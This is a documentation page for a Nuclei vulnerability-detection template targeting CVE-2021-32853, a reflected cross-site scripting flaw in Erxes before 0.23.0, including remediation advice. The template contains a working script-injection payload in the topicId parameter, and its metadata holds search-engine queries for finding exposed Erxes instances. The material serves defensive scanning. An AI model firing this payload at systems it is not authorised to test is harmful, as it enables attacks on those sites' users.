Skip to content
Nuclei Templates

Erxes <0.23.0 - Cross-Site Scripting

ID: CVE-2021-32853

Severity: critical

Author: dwisiswant0

Tags: cve2021,cve,xss,erxes,oss

Description

Section titled “Description”

Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.

YAML Source

Section titled “YAML Source”
id: CVE-2021-32853


info:
  name: Erxes <0.23.0 - Cross-Site Scripting
  author: dwisiswant0
  severity: critical
  description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2021-32853
    cwe-id: CWE-79
    epss-score: 0.01224
    epss-percentile: 0.83856
    cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: erxes
    product: erxes
    shodan-query: http.title:"erxes"
    fofa-query: title="erxes"
    google-query: intitle:"erxes"
  tags: cve2021,cve,xss,erxes,oss


http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'topic_id: "</script><script>alert(document.domain)</script>'
          - "window.erxesEnv"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b760df4b4028f5a9b89442bce36bd172d4d3c655e73f51709b4762c409cc4366022100e1d5d01b7306175bd9b7d3c9ad42a7ab113e0ad73f89f2331ce0a676c1c5d85f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-32853.yaml"

View on Github